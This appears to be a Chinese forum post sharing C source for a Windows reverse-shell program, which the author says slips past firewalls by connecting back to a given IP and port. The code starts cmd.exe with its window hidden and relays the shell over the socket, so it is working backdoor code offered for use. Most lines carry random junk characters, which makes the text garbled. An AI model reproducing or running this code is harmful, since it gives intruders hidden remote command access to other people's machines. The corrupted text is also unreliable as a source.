这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -}*YfwK
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/* ============================== rwou[QU
Rebound port in Windows NT sv?Lk4_
By wind,2006/7 js\|xfDxP
===============================*/ /F6=iHK(l
#include h/n&&J
#include |d8x55dk
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#pragma comment(lib,"wsock32.lib") iPPW_Q9x
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void OutputShell(); <O?UC/$)7
SOCKET sClient; H-.8{8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P ".[=h
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void main(int argc,char **argv) 7$* O+bkn:
{ eE-@dU?
WSADATA stWsaData; $]yHk
int nRet; #!X4\+)
SOCKADDR_IN stSaiClient,stSaiServer; 9nPc>O$
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if(argc != 3) \.<V~d?
{ 564)ha/^(
printf("Useage:\n\rRebound DestIP DestPort\n"); V<;w
return; 5 J9,/M0
} )9QeVf
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WSAStartup(MAKEWORD(2,2),&stWsaData); SBBi"U:
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "R/Xv+;
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stSaiClient.sin_family = AF_INET; k/ 9S
stSaiClient.sin_port = htons(0); 0
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +MfdZD
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >1Y',0v
{ m:7$"oq|
printf("Bind Socket Failed!\n"); HsGyNkr?r
return; g0D(:_QXp:
} ,!s;o6|*y
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stSaiServer.sin_family = AF_INET; CcHf1
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sSMcF[]@2I
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q-fxs8+m|
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C"P40VQoo
{ ,:QzF"MV
printf("Connect Error!"); (ft8,^=4
return; >wpC45n)9N
} X^U)j
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OutputShell(); j[fVF3v
} TYQ7jt0=.-
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void OutputShell() ,5_Hen=PI
{ g=
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char szBuff[1024]; ./009p
SECURITY_ATTRIBUTES stSecurityAttributes; 02_%a1g
OSVERSIONINFO stOsversionInfo; #FBq8iJ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <Yk#MeiEp
STARTUPINFO stStartupInfo; [BpIzhy&}
char *szShell; L+&eY?A
PROCESS_INFORMATION stProcessInformation; ^Z{W1uYi
unsigned long lBytesRead; 0]c 2 T
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M@V.?;F},
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); VE<&0d<
stSecurityAttributes.lpSecurityDescriptor = 0; m\88Etl@
stSecurityAttributes.bInheritHandle = TRUE; o#-K,|-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `H5n_km
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cboue
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H\\0V.}!
stStartupInfo.wShowWindow = SW_HIDE; ]e'Ol$3U9=
stStartupInfo.hStdInput = hReadPipe; "?Eh_Dw
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S'NZb!1+
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GetVersionEx(&stOsversionInfo); w~eF0{h
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switch(stOsversionInfo.dwPlatformId) ^;b$`*M1
{ <wt#m`Za
case 1: #4ZDY,>Xi#
szShell = "command.com"; Z)6gh{B08
break; 4Lo8Eue
default: {jX
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szShell = "cmd.exe"; b{C3r3B8
break; m/)Wn
} dcMWCK
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sglYT!O
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send(sClient,szMsg,77,0); h\k!X/
while(1) ;O*y$|+PA
{ ^FJ=/ #@T
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \dAh^B K1(
if(lBytesRead) uFM]4v3
{ Ixhe86-:T
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k#8,:B2
send(sClient,szBuff,lBytesRead,0); p m+_s]s,
} OAu?F}O
else m L#-U)?F
{ aHosu=NK
lBytesRead=recv(sClient,szBuff,1024,0); TbqED\5@9w
if(lBytesRead<=0) break; bDa(@QJ-
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P;D)5yP092
} X'4g\)*
} ~7Ey9wRkD
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return; !7MC[z(|N
}